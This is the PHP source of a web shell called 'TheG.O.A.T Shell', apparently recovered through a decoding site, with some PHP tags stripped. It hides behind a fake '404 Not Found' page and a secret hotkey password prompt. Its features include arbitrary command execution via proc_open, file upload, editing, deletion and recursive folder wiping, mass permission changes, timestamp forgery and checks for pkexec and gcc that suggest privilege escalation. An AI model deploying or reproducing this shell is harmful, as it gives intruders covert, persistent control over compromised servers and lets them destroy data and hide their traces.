Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


session_start();
error_reporting(0);
$pew = "ae1ecaf940f85708099cabf38afda6b7dd667f6b"; // @blessing666
if (isset($_POST['pewe'])) {
    $s1 = "\163\x68\141\x31";
    $san = $s1($_POST['pewe']);
    
    if ($san === $pew) {
        $_SESSION['logged_in'] = true;
        echo '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">';
        echo "<style>body {text-align: center;margin: 200px;background-color:#000;}</style>";
        echo "<div class='card p-4 text-white' style='background: linear-gradient(135deg, #1a0000 0%, #000 100%); border: 2px solid #ff0000; box-shadow: 0 0 20px rgba(255,0,0,0.5);'><div class='mb-1'>
        <img style='width:190px;height:180px;border-radius:10px;' src='https://media.invisioncic.com/p313717/monthly_2021_11/anime-girl.thumb.gif.813e7ea383dbbfff12fc1f029644a9cc.gif'><br><font color='#ff0000' style='text-shadow: 0 0 10px #ff0000;'><h3>Login berhasil..!!</h3></font></div></div>";
        echo "<script>setTimeout(() => { window.location.href = '" . basename($_SERVER['SCRIPT_FILENAME']) . "'; }, 2000);</script>";
        exit;
    } else {
        $error = "Password salah!";
    }
}
if (isset($_GET['keluar'])) {
    session_destroy();
    echo '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">';
    echo "<style>body {text-align: center;margin: 200px;background-color:#000;}</style>";
    echo "<div class='card p-4 text-white' style='background: linear-gradient(135deg, #1a0000 0%, #000 100%); border: 2px solid #ff0000; box-shadow: 0 0 20px rgba(255,0,0,0.5);'><div class='mb-1'>
    <img style='width:190px;height:180px;border-radius:10px;' src='https://media.invisioncic.com/p313717/monthly_2021_11/anime-girl.thumb.gif.813e7ea383dbbfff12fc1f029644a9cc.gif'><br><font color='#ff0000' style='text-shadow: 0 0 10px #ff0000;'><h3>Logout berhasil..!!</h3></font></div></div>";
    echo "<script>setTimeout(() => { window.location.href = '" . basename($_SERVER['SCRIPT_FILENAME']) . "'; }, 2000);</script>";
    exit;
}
if (!isset($_SESSION['logged_in'])):
    http_response_code(403);
    echo "<!DOCTYPE html>
<html style=\"height:100%\">
<head>
<meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\" />
<title> 404 Not Found
</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head>
<body style=\"color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;\">
<div style=\"height:auto; min-height:100%; \">     <div style=\"text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;\">
        <h1 style=\"margin:0; font-size:150px; line-height:150px; font-weight:bold;\">404</h1>
<h2 style=\"margin-top:20px;font-size: 30px;\">Not Found
</h2>
<p>The resource requested could not be found on this server!</p>
</div></div><div style=\"color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;\">
<br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div><script defer src=\"https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015\" integrity=\"sha512-ZpsOmlRQV6y907TI0dKBHq9Md29nnaEIPlkf84rnaERnq6zvWvPUqr2ft8M1aS28oN72PdrCzSjY4U6VaAw1EQ==\" data-cf-beacon='{\"version\":\"2024.11.0\",\"token\":\"8fc06ced2b5a4916adc50f565219f687\",\"r\":1,\"server_timing\":{\"name\":{\"cfCacheStatus\":true,\"cfEdge\":true,\"cfExtPri\":true,\"cfL4\":true,\"cfOrigin\":true,\"cfSpeedBrain\":true},\"location_startswith\":null}}' crossorigin=\"anonymous\"></script>
</body></html>";
    echo '
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Access Denied</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css">
    <style>
        body {
            background: #000;
            color: #fff;
            font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
            margin: 0;
            padding: 0;
            overflow-x: hidden;
        }
        .modal {
            display: none;
            position: fixed;
            z-index: 9999;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.95);
            backdrop-filter: blur(10px);
            justify-content: center;
            align-items: center;
            animation: fadeIn 0.3s ease;
        }
        @keyframes fadeIn {
            from { opacity: 0; }
            to { opacity: 1; }
        }
        .modal-content {
            background: linear-gradient(135deg, #1a0000 0%, #000 100%);
            padding: 40px;
            border-radius: 15px;
            width: 90%;
            max-width: 400px;
            text-align: center;
            border: 2px solid #ff0000;
            box-shadow: 0 0 30px rgba(255, 0, 0, 0.6), inset 0 0 20px rgba(255, 0, 0, 0.1);
            position: relative;
            animation: slideDown 0.4s ease;
        }
        @keyframes slideDown {
            from { transform: translateY(-50px); opacity: 0; }
            to { transform: translateY(0); opacity: 1; }
        }
        .close-btn {
            position: absolute;
            top: 15px;
            right: 20px;
            cursor: pointer;
            font-weight: bold;
            font-size: 28px;
            color: #ff0000;
            transition: all 0.3s ease;
            width: 35px;
            height: 35px;
            display: flex;
            align-items: center;
            justify-content: center;
            border-radius: 50%;
            background: rgba(255, 0, 0, 0.1);
        }
        .close-btn:hover {
            color: #fff;
            background: rgba(255, 0, 0, 0.3);
            transform: rotate(90deg);
            box-shadow: 0 0 15px rgba(255, 0, 0, 0.5);
        }
        .modal-content h2 {
            color: #ff0000;
            text-shadow: 0 0 15px rgba(255, 0, 0, 0.8);
            margin-bottom: 25px;
            font-weight: bold;
            letter-spacing: 2px;
        }
        .form-control {
            background: rgba(0, 0, 0, 0.7);
            border: 1px solid #ff0000;
            color: #fff;
            padding: 12px;
            border-radius: 8px;
            margin-bottom: 15px;
            transition: all 0.3s ease;
        }
        .form-control:focus {
            background: rgba(0, 0, 0, 0.9);
            border-color: #ff3333;
            box-shadow: 0 0 15px rgba(255, 0, 0, 0.4);
            outline: none;
            color: #fff;
        }
        .form-control::placeholder {
            color: #666;
        }
        .btn-login {
            background: linear-gradient(135deg, #ff0000 0%, #cc0000 100%);
            border: none;
            color: #fff;
            padding: 12px 30px;
            border-radius: 8px;
            font-weight: bold;
            cursor: pointer;
            transition: all 0.3s ease;
            width: 100%;
            text-transform: uppercase;
            letter-spacing: 1px;
            box-shadow: 0 4px 15px rgba(255, 0, 0, 0.3);
        }
        .btn-login:hover {
            background: linear-gradient(135deg, #ff3333 0%, #ff0000 100%);
            transform: translateY(-2px);
            box-shadow: 0 6px 20px rgba(255, 0, 0, 0.5);
        }
        .error-message {
            color: #ff0000;
            background: rgba(255, 0, 0, 0.1);
            padding: 10px;
            border-radius: 5px;
            margin-bottom: 15px;
            border: 1px solid #ff0000;
            animation: shake 0.5s ease;
        }
        @keyframes shake {
            0%, 100% { transform: translateX(0); }
            25% { transform: translateX(-10px); }
            75% { transform: translateX(10px); }
        }
    </style>
</head>
<body>
    <div id="loginModal" class="modal" style="display: none;">
        <div class="modal-content">
            <span class="close-btn" onclick="closeModal()">&times;</span>
            <h2><i class="fas fa-lock"></i> Login</h2>
            <form method="post" id="loginForm">
                <input type="password" name="pewe" class="form-control" placeholder="Masukkan password" required autofocus>';
        if (isset($error)) {
            echo '<div class="error-message"><i class="fas fa-exclamation-triangle"></i> ' . htmlspecialchars($error) . '</div>';
        }
        echo '
                <button type="submit" class="btn-login"><i class="fas fa-sign-in-alt"></i> Login</button>
            </form>
        </div>
    </div>
    <script>
        function closeModal() {
            document.getElementById("loginModal").style.display = "none";
        }
        document.addEventListener("keydown", function(event) {
            if (event.ctrlKey && event.altKey && (event.key === "w" || event.key === "W")) {
                event.preventDefault();
                document.getElementById("loginModal").style.display = "flex";
            }
            if (event.key === "Escape") {
                closeModal();
            }
        });
        document.getElementById("loginForm").addEventListener("submit", function() {
            document.querySelector(".btn-login").innerHTML = "<i class=\"fas fa-spinner fa-spin\"></i> Loading...";
        });
    </script>
</body>
</html>';
    exit;
endif;

$d7net = [
    '696e666f', # info - 0
    '61706c7574', # upload - 1
    '656b7365', # ekse - 2
    '6c6f6b70696c65', # lokpile - 3 
    '67616e74697077', # gantipw - 4
    '636e666967', # cnfig - 5
    '6366696c65', # cfile - 6
    '63646972', # cdir - 7
    '746f6f6c73', # tools - 8
    '6d6173736465706573', # massdepes - 9
    '7a6970657874', # zipext - 10
    '6d61737363686d6f64' # masschmod - 11
];

function renameItem($oldName, $newName) {
    if (rename($oldName, $newName)) {
        echo "File/Folder berhasil diubah!";
    } else {
        echo "Terjadi kesalahan saat mengubah nama!";
    }
}

function deleteItem($item) {
    if (is_file($item)) {
        if (unlink($item)) {
            successMessage("File berhasil dihapus!", dirname($item));
        } else {
            echo "Terjadi kesalahan saat menghapus file!";
        }
    } elseif (is_dir($item)) {
        if (cekfol($item)) {
            successMessage("Folder berhasil dihapus!", dirname($item));
        } else {
            echo "Terjadi kesalahan saat menghapus folder!";
        }
    }
}

function cekfol($folder) {
    foreach (scandir($folder) as $file) {
        if ($file ===  || $file === '..') continue;
        $fullPath = $folder . '/' . $file;
        if (is_dir($fullPath)) {
            cekfol($fullPath);
        } else {
            unlink($fullPath);
        }
    }
    return rmdir($folder);
}

function successMessage($message, $redirectDir) {
    echo '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">';
    echo "<style>body {text-align: center;margin: 250px;background-color:#000;}</style>";
    echo "<div class='card p-4 text-white' style='background: linear-gradient(135deg, #1a0000 0%, #000 100%); border: 2px solid #ff0000; box-shadow: 0 0 20px rgba(255,0,0,0.5);'><div class='mb-1'>
    <img style='width:40px;height:32px;' src='https://media.tenor.com/0EflySmYSuAAAAAi/check-mark-button-joypixels.gif'>
    <font color='#ff0000' style='text-shadow: 0 0 10px #ff0000;'><h3>$message</h3></font></div></div>";
    echo "<script>setTimeout(() => { window.location.href = '" . basename($_SERVER['SCRIPT_FILENAME']) . "?opet=" . allheks($redirectDir) . "'; }, 2000);</script>";
    exit;
}

if (isset($_POST['action'])) {
    $action = $_POST['action'];
    $path = $_POST['path'];

    if ($action == 'rename') {
        $newName = $_POST['new_name'];
        renameItem($path, $newName);
    } elseif ($action == 'delete') {
        deleteItem($path);
    }
    if ($action == 'save_date') {
        $edate = $_POST['path'];
        if(isset($_POST['sikat'])) {
            if(@touch($edate, strtotime($_POST['chdate'])) == true) {
                echo successMessage("Berhasil mengubah Tanggal!", dirname($edate));
                exit;
            } else {
                echo "<div class='alert alert-danger'>Gagal mengubah tanggal!</div>";
            }
        }
    }
    if ($action == 'save_edit') {
        $editPath = $_POST['path'];
        $newContent = $_POST['content']; 
        if (is_file($editPath)) {
            file_put_contents($editPath, $newContent);
            echo successMessage("File Berhasil Disimpan!", dirname($editPath));
            exit;
        } else {
            echo "<div class='alert alert-danger'>Gagal menyimpan file!</div>";
        }
    }
    if ($action == 'rename_item') {
        $old = $_POST['old_path'];
        $new = dirname($old) . '/' . $_POST['new_name'];
    
        if (rename($old, $new)) {
            echo '<script>
                var showModal = function() {
                    var modal = new bootstrap.Modal(document.getElementById("successModal"));
                    modal.show();
                    setTimeout(() => {
                        window.location.href = "' . basename($_SERVER["SCRIPT_FILENAME"]) . '?opet=' . allheks(dirname($new)) . '";
                    }, 2000);
                };
                window.onload = showModal;
            </script>';
        } else {
            echo '<script>
                var showModal = function() {
                    var modal = new bootstrap.Modal(document.getElementById("failModal"));
                    modal.show();
                };
                window.onload = showModal;
            </script>';
        }
    }
    if ($action == 'chmod') {
        $chmodPath = $_POST['path'];
        $chmodPerm = $_POST['perm'];
        if (is_file($chmodPath) || is_dir($chmodPath)) {
            if (@chmod($chmodPath, octdec($chmodPerm))) {
                echo successMessage("Permission berhasil diubah!", dirname($chmodPath));
                exit;
            } else {
                echo "<div class='alert alert-danger'>Gagal mengubah permission!</div>";
            }
        } else {
            echo "<div class='alert alert-danger'>File/Folder tidak ditemukan!</div>";
        }
    }
    if ($action == 'mass_chmod') {
        $massPath = $_POST['path'];
        $massPerm = $_POST['perm'];
        $massItems = isset($_POST['items']) ? $_POST['items'] : [];
        $success = 0;
        $failed = 0;
        foreach ($massItems as $item) {
            $fullItemPath = $massPath . '/' . $item;
            if (file_exists($fullItemPath)) {
                if (@chmod($fullItemPath, octdec($massPerm))) {
                    $success++;
                } else {
                    $failed++;
                }
            } else {
                $failed++;
            }
        }
        echo "<div class='main-container'><div class='mb-3'>";
        echo "<font color='#00ffff'>Berhasil: $success</font><br>";
        echo "<font color='#ff0000'>Gagal: $failed</font>";
        echo "</div></div>";
        echo "<script>setTimeout(() => { window.location.href = '" . basename($_SERVER['SCRIPT_FILENAME']) . "?opet=" . allheks($massPath) . "'; }, 3000);</script>";
        exit;
    }          
}

function pkesek(): bool {
    $paths = explode(PATH_SEPARATOR, getenv('PATH'));
    foreach ($paths as $path) {
        $fullPath = $path . DIRECTORY_SEPARATOR . 'pkexec';
        if (file_exists($fullPath) && is_executable($fullPath)) {
            return true;
        }
    }
    return false;
}

function gcc() {
   $paths = [
        '/usr/bin/gcc', 
        '/bin/gcc', 
        '/usr/local/bin/gcc'
    ];
    foreach ($paths as $path) {
        if (is_executable($path)) {
            return $path;
        }
    }
    return false;
}

function allheks($str) {
    $hex = '';
    for ($i = 0; $i < strlen($str); $i++) {
        $hex .= dechex(ord($str[$i]));
    }
    return $hex;
}

function cdheks($hex) {
    $str = '';
    for ($i = 0; $i < strlen($hex) - 1; $i += 2) {
        $str .= chr(hexdec($hex[$i] . $hex[$i + 1]));
    }
    return $str;
}

function d7net_ex($file) {
    $pile = $file;
    $pch = pathinfo($pile, PATHINFO_FILENAME);
    return $pch;
}

function ekse($crot, $currentDir = false) {
    if (empty(trim($crot))) {
        echo "<textarea class='form-control mb-3' rows='10' style='background-color:#1a0000;color: #ff0000;border: 1px solid #ff0000;' readonly>
$ help for information
or
Usage : ls -al, uname, whoami, dir</textarea>";
        return;
    }
    $run = "2>&1";
    if (!preg_match("/".$run."/i", $crot)) {
        $crot = $crot." ".$run;
    }
    $crt = $crot;
    $pr = "proc_open";
    if (function_exists($pr)) {
        $cek = @$pr($crt, array(
            0 => array("pipe", "w"),
            1 => array("pipe", "w"),
            2 => array("pipe", "w")
        ), $ktn, $currentDir);
        if (is_resource($cek)) {
            fclose($ktn[0]);
            echo "<pre><textarea class='form-control' rows='10' style='background-color:#1a0000;color: #ff0000;border: 1px solid #ff0000;' readonly>". htmlspecialchars(stream_get_contents($ktn[1]))."</textarea></pre>";
            fclose($ktn[1]);
            fclose($ktn[2]);
            proc_close($cek);
        }
    } else {
        echo "<div class='alert alert-danger'>Disable => <code>".$pr."()</code></div>";
    }
}   

function cemde($gas, $currentDir) {
    $crot = $gas;
    $pr = "proc_open";
    if (function_exists($pr)) {
        $tod = @proc_open($crot, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $crottz, $currentDir);
        echo "".stream_get_contents($crottz[1])."</textarea></center><br>";
    } else {
        echo "<font color='orange'></font>";
    }
}

$currentDir = isset($_GET['opet']) ? cdheks($_GET['opet']) : getcwd();
$currentDir = str_replace("\\", "/", $currentDir);
$folders = [];
$files = [];

$items = scandir($currentDir);
foreach ($items as $item) {
    if ($item !=  && $item != '..') {
        $fullPath = $currentDir . '/' . $item;
        if (is_dir($fullPath)) {
            $folders[] = $item;
        } else {
            $files[] = $item;
        }
    }
}

$allItems = array_merge($folders, $files);
$paths = explode("/", $currentDir);

function fsize($size) {
    if ($size >= 1073741824) {
        $size = '<font color="#00ffff">'.number_format($size / 1073741824, 2) . '</font> GB';
    } elseif ($size >= 1048576) {
        $size = '<font color="#00ffff">'.number_format($size / 1048576, 2) . '</font> MB';
    } elseif ($size >= 1024) {
        $size = '<font color="#ff6600">'.number_format($size / 1024, 2) . '</font> KB';
    } elseif($size>1){
        $size= '<font color="#ff6600">'.$size.'</font> B';
    } elseif($size==1){
        $size= '<font color="#ff6600">'.$size.'</font> B';
    } else {
        $size = '<font color="#ff0000">0</font> B';
    }
    return $size;
}

function owner($file) {
    if (function_exists("posix_getpwuid")) {
        $tod = @posix_getpwuid(fileowner($file));
        return "<center>".$tod['name']."</center>";
    } else {
        return "<center>".fileowner($file)."</center>";
    }
}

if (isset($_GET['chdet'])) {
    $chedit = $_GET['chdet'];
    $chtime = basename($chedit);
    $tgl = date('d F Y g:i:s', filemtime($chedit));
    echo '<!DOCTYPE html>
    <html><head><title>Ganti Tanggal</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <style>body {background-color:#000;margin:250px;color:#fff;}</style></head>
    <div class="card p-4" style="background: linear-gradient(135deg, #1a0000 0%, #000 100%); border: 2px solid #ff0000;">
    <h3 style="color:#ff0000;">Editing time : '.$chtime.'</h3>
    <form method="POST">
    <input type="hidden" name="action" value="save_date">
    <input type="hidden" name="path" value="'.htmlspecialchars($chedit).'">
    <input type="text" name="chdate" class="form-control mb-3" style="background:#1a0000;border:1px solid #ff0000;color:#fff;" value="'.$tgl.'" required>
    <input type="submit" name="sikat" class="btn w-100" style="background:#ff0000;color:#fff;border:none;">
    </html></form></div>'; 
    exit;
}

if (isset($_GET['edit'])) {
    $fileToEdit = $_GET['edit'];
    if (is_file($fileToEdit)) {
        $fileContent = htmlspecialchars(file_get_contents($fileToEdit));
        $fileName = basename($fileToEdit);
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <title>Edit File - echo $fileName;</title>
            <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
            <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.0/codemirror.min.css">
            <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.0/theme/monokai.min.css">
            <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.0/codemirror.min.js"></script>
            <style>
                body {
                    background-color:#000;
                    margin: 80px;
                    color:#fff;
                }
            </style>
        </head>
        <body class="p-4">
        <div class="card p-4" style="background: linear-gradient(135deg, #1a0000 0%, #000 100%); border: 2px solid #ff0000;">
            <div class="mb-3">
            <h2 style="color:#ff0000;">Editing: echo $fileName;</h2>
            <a href="?opet=echo allheks(dirname($fileToEdit));" class="btn" style="background:#333;color:#fff;">Cancel</a>
            <form method="post">
                <input type="hidden" name="action" value="save_edit">
                <input type="hidden" name="path" value="echo htmlspecialchars($fileToEdit);">
                <textarea id="php_code" name="content">echo $fileContent;</textarea><br>
                <button type="submit" class="btn w-100" style="background:#ff0000;color:#fff;border:none;">Save</button>
            </form>
            <script>
                var editor = CodeMirror.fromTextArea(document.getElementById("php_code"), {
            lineNumbers: true,
            mode: "application/x-httpd-php",
            theme: "monokai", 
            lineWrapping: true,
            viewportMargin: Infinity
            });
            </script>
            </div>
        </div>
    </body>
</html>
        exit;
    } else {
        echo "File tidak ditemukan.";
        exit;
    }
}

if (isset($_GET['rename'])) {
    $fileToRename = $_GET['rename'];
    $currentName = basename($fileToRename);
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Rename Item - echo $currentName;</title>
        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
        <style>body{background:#000;color:#fff;}</style>
    </head>
    <body class="p-4">
        <h2 style="color:#ff0000;">Rename: echo $currentName;</h2>
        <form method="post">
            <input type="hidden" name="action" value="rename_item">
            <input type="hidden" name="old_path" value="echo htmlspecialchars($fileToRename);">
            <div class="mb-3">
                <label for="new_name" class="form-label">New Name</label>
                <input type="text" name="new_name" id="new_name" class="form-control" style="background:#1a0000;border:1px solid #ff0000;color:#fff;" value="echo $currentName;" required>
            </div>
            <button type="submit" class="btn" style="background:#ff0000;color:#fff;border:none;">Rename</button>
            <a href="echo basename($_SERVER['SCRIPT_FILENAME']);?opet=echo allheks(dirname($fileToRename));" class="btn" style="background:#333;color:#fff;">Cancel</a>
        </form>
    </body>
    </html>
    exit;
}

function winDriver() {
    $windowsDrives = [
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'V', 'W', 'X', 'Y', 'Z'
    ];
    foreach ($windowsDrives as $drive) {
        $hexDrive = allheks($drive . ':');
        if (is_dir($drive . ":/")) {
        echo "<a href='?opet={$hexDrive}' class='me-2 link-offset-2 link-underline link-underline-opacity-0' style='color:#ff0000;'>[$drive:]</a>";
        }
    }
}

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>TheG.O.A.T Shell</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.0/codemirror.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.0/theme/monokai.min.css">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.0/codemirror.min.js"></script>
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css" rel="stylesheet">
    <link href="https://fonts.googleapis.com/css2?family=Fira+Code&family=Orbitron:wght@400;700;900&display=swap" rel="stylesheet">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body { 
            font-family: 'Fira Code', 'Orbitron', monospace;
            background: linear-gradient(135deg, #000 0%, #1a0000 100%);
            color: #fff;
            margin: 20px;
            min-height: 100vh;
        }
        .main-container {
            background: linear-gradient(135deg, #1a0000 0%, #000 100%);
            border: 2px solid #ff0000;
            border-radius: 15px;
            padding: 20px;
            box-shadow: 0 0 30px rgba(255, 0, 0, 0.3), inset 0 0 20px rgba(255, 0, 0, 0.05);
        }
        h1 {
            color: #ff0000;
            text-shadow: 0 0 20px rgba(255, 0, 0, 0.8), 0 0 40px rgba(255, 0, 0, 0.4);
            font-family: 'Orbitron', sans-serif;
            font-weight: 900;
            letter-spacing: 3px;
            text-align: center;
            margin-bottom: 20px;
            animation: glow 2s ease-in-out infinite alternate;
        }
        @keyframes glow {
            from { text-shadow: 0 0 20px rgba(255, 0, 0, 0.8), 0 0 40px rgba(255, 0, 0, 0.4); }
            to { text-shadow: 0 0 30px rgba(255, 0, 0, 1), 0 0 60px rgba(255, 0, 0, 0.6); }
        }
        hr {
            border: none;
            height: 2px;
            background: linear-gradient(90deg, transparent, #ff0000, transparent);
            margin: 20px 0;
            box-shadow: 0 0 10px rgba(255, 0, 0, 0.5);
        }
        .btn-custom {
            background: linear-gradient(135deg, #ff0000 0%, #cc0000 100%);
            border: 1px solid #ff0000;
            color: #fff;
            padding: 8px 20px;
            border-radius: 8px;
            transition: all 0.3s ease;
            text-decoration: none;
            display: inline-block;
            margin: 5px;
            box-shadow: 0 4px 15px rgba(255, 0, 0, 0.3);
        }
        .btn-custom:hover {
            background: linear-gradient(135deg, #ff3333 0%, #ff0000 100%);
            transform: translateY(-2px);
            box-shadow: 0 6px 20px rgba(255, 0, 0, 0.5);
            color: #fff;
        }
        table { 
            width: 100%; 
            border-collapse: collapse; 
            background: rgba(0, 0, 0, 0.5);
        }
        th, td { 
            padding: 12px; 
            text-align: left; 
            border: 1px solid rgba(255, 0, 0, 0.3); 
        }
        th { 
            background: linear-gradient(135deg, #1a0000 0%, #000 100%);
            color: #ff0000;
            font-weight: bold;
            text-align: center;
        }
        tr:hover {
            background: rgba(255, 0, 0, 0.1);
            transition: all 0.3s ease;
        }
        .actions button { 
            margin: 2px; 
        }
        .button-container {
            position: fixed;
            top: 90%;
            right: 20px;
            transform: translateY(-50%);
            display: flex;
            flex-direction: column;
            align-items: flex-end;
            z-index: 999;
        }
        .hover-text {
            margin-bottom: 8px;
            background: linear-gradient(135deg, #1a0000 0%, #000 100%);
            color: #ff0000;
            padding: 10px 16px;
            border-radius: 8px;
            border: 1px solid #ff0000;
            opacity: 0;
            transform: scale(0.5) translateY(20px);
            transition: transform 0.4s ease, opacity 0.4s ease;
            font-size: 14px;
            pointer-events: auto;
            box-shadow: 0 4px 15px rgba(255, 0, 0, 0.3);
            text-decoration: none;
        }
        .button-container:hover .hover-text {
            opacity: 1;
            transform: scale(1) translateY(0);
        }
        .hover-text:hover {
            background: linear-gradient(135deg, #ff0000 0%, #cc0000 100%);
            color: #fff;
            transform: scale(1.05);
            text-shadow: 0 0 8px #ff0000;
            transition: all 0.3s ease;
            cursor: pointer;
        }
        .fixed-button {
            padding: 10px 20px;
            background: linear-gradient(135deg, #1a0000 0%, #000 100%);
            color: #ff0000;
            border: 2px solid #ff0000;
            border-radius: 10px;
            cursor: pointer;
            font-size: 15px;
            font-weight: bold;
            transition: transform 0.3s ease, box-shadow 0.3s ease;
            box-shadow: 0 5px 18px rgba(255, 0, 0, 0.4);
        }
        .fixed-button:hover {
            transform: scale(1.05);
            box-shadow: 0 6px 20px rgba(255, 0, 0, 0.6);
            background: linear-gradient(135deg, #ff0000 0%, #cc0000 100%);
            color: #fff;
        }
        .breadcrumb a {
            text-decoration: none;
            color: #ff0000;
            transition: all 0.3s ease;
        }
        .breadcrumb a:hover {
            color: #fff;
            text-shadow: 0 0 10px rgba(255, 0, 0, 0.8);
        }
        .breadcrumb span {
            margin: 0 5px;
            color: #666;
        }
        .file-icon, .folder-icon {
            margin-right: 8px;
        }
        a {
            color: #ff6600;
            pointer-events: auto;
            text-decoration: none;
            transition: all 0.3s ease;
        }
        a:hover {
            color: #ff0000;
            text-shadow: 0 0 10px rgba(255, 0, 0, 0.8);
        }
        .text-kedip {
            font-weight: bold;
            animation: blink 1s infinite;
        }
        @keyframes blink {
            0%, 100% { opacity: 1; }
            50% { opacity: 0.5; }
        }
        .copyright {
            text-align: center;
            margin-top: 30px;
            padding: 20px;
            border-top: 1px solid rgba(255, 0, 0, 0.3);
            color: #666;
            font-size: 12px;
        }
        .copyright i {
            color: #ff0000;
            margin: 0 5px;
        }
        .copyright a {
            color: #ff0000;
            text-decoration: none;
        }
        .copyright a:hover {
            text-shadow: 0 0 10px rgba(255, 0, 0, 0.8);
        }
        .btn-sm {
            padding: 5px 10px;
            font-size: 12px;
            border-radius: 5px;
            transition: all 0.3s ease;
        }
        .btn-primary {
            background: #0066ff;
            border: none;
        }
        .btn-warning {
            background: #ff9900;
            border: none;
        }
        .btn-info {
            background: #00ccff;
            border: none;
        }
        .btn-danger {
            background: #ff0000;
            border: none;
        }
        .btn-sm:hover {
            transform: scale(1.1);
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.3);
        }
        .modal-content {
            background: linear-gradient(135deg, #1a0000 0%, #000 100%);
            border: 2px solid #ff0000;
            color: #fff;
        }
        .modal-header {
            border-bottom: 1px solid #ff0000;
        }
        .modal-footer {
            border-top: 1px solid #ff0000;
        }
        .form-control {
            background: rgba(0, 0, 0, 0.7);
            border: 1px solid #ff0000;
            color: #fff;
        }
        .form-control:focus {
            background: rgba(0, 0, 0, 0.9);
            border-color: #ff3333;
            box-shadow: 0 0 15px rgba(255, 0, 0, 0.4);
            color: #fff;
        }
    </style>
</head>
<body>
<div class="main-container">
<div class="mb-3">
    <center>
    <h1><i class="fas fa-terminal"></i> TheG.O.A.T Shell</h1>
    <hr>
    <a href='echo basename($_SERVER['SCRIPT_FILENAME']);' class='btn-custom'><i class="fas fa-home"></i> Home</a>
    <a href="?opet=echo allheks($currentDir) . "&d7net=". $d7net[0];" class="btn-custom"><i class="fas fa-info-circle"></i> Information</a>
    <a href="?opet=echo allheks($currentDir) . "&d7net=". $d7net[1];" class="btn-custom"><i class="fas fa-upload"></i> Upload</a>
    <a href="?opet=echo allheks($currentDir) . "&d7net=". $d7net[2];" class="btn-custom"><i class="fas fa-terminal"></i> Command</a>
    <a href="?opet=echo allheks($currentDir) . "&d7net=". $d7net[8];" class="btn-custom"><i class="fas fa-tools"></i> Tools</a>
    <a href="?keluar" class="btn-custom"><i class="fas fa-sign-out-alt"></i> Logout</a>
    </center>
    <hr>
    <div class="button-container">
    <a href="?opet=echo allheks($currentDir) . "&d7net=". $d7net[6];" class="hover-text"><i class='fa-solid fa-file-circle-plus'></i> File</a>
    <a href="?opet=echo allheks($currentDir) . "&d7net=". $d7net[7];" class="hover-text"><i class='fa-solid fa-folder-plus'></i> Folder</a>
    <a class="fixed-button"><i class="fa-solid fa-square-plus"></i><span class="text-kedip"> Create</span></a>
  </div>
    if (stristr(PHP_OS, "WIN")) {
        winDriver();
    }
    echo "<br>";
    echo '<i class="fas fa-folder" style="color:#ff9900;"></i>';
    $encodedPath = "";
    foreach ($paths as $id => $pat) {
        if ($pat == '' && $id == 0) {
            echo "<a href=\"?opet=" . allheks('/') . "\">/</a>";
            continue;
        }
        if($pat == '') continue;
        $encodedPath .= ($id > 0 ? "/" : "") . $pat;
        $hexPath = allheks($encodedPath);
